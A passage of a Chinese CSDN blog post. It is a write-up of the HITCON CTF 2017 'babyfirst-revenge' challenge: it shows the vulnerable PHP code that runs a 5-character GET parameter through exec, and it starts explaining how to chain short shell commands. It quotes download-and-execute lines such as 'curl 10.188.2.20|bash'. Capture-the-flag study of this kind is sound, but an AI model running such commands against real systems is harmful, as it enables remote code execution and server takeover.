5位可控字符下的任意命令执行 - 另一种解题方法

本文介绍了一种在hitcon-ctf-2017的babyfirst-revenge挑战中的解题方法,通过组合Linux命令如>、ls、sh、base64等,实现了在5位字符限制下执行任意命令。详细阐述了如何创建文件、利用ls的-t参数排序、通过base64编码避免特殊字符、以及如何处理空格等问题,最终构造出能够执行一句话木马的payload。
摘要由CSDN通过智能技术生成

本文作者:是大方子(Ms08067实验室核心成员)

01

前言

题目是hitcon-ctf-2017的babyfirst-revenge,之前是针对babyfirst-revenge-v2来进行学习研究的

<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm ‐rf ' . $sandbox);
}
highlight_file(__FILE__);

orange师傅给的方式是通过拼接执行来getshell

curl 10.188.2.20|bash
curl orange.tw|python

这里的我也是通过orange师傅的思路想出了另一种解题方法。但是可能因为是环境的问题吧,系统一直把这种长度识别为5位

>\;\\

但是网上给出的解释和orange师傅给的题解都是有这种的,说是后面的\\长度只能算1。所以这里演示只在babyfirst-revenge上进行演示,如果环境可以的话也是可以在4位下成功执行的。

02

预备知识

  1. 通过>来创建文件

  2. 通过ls的-t(从晚到早)参数来基于时间来排序文件

  3. sh a 会把文件a里面的内容当作命令来执行<

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值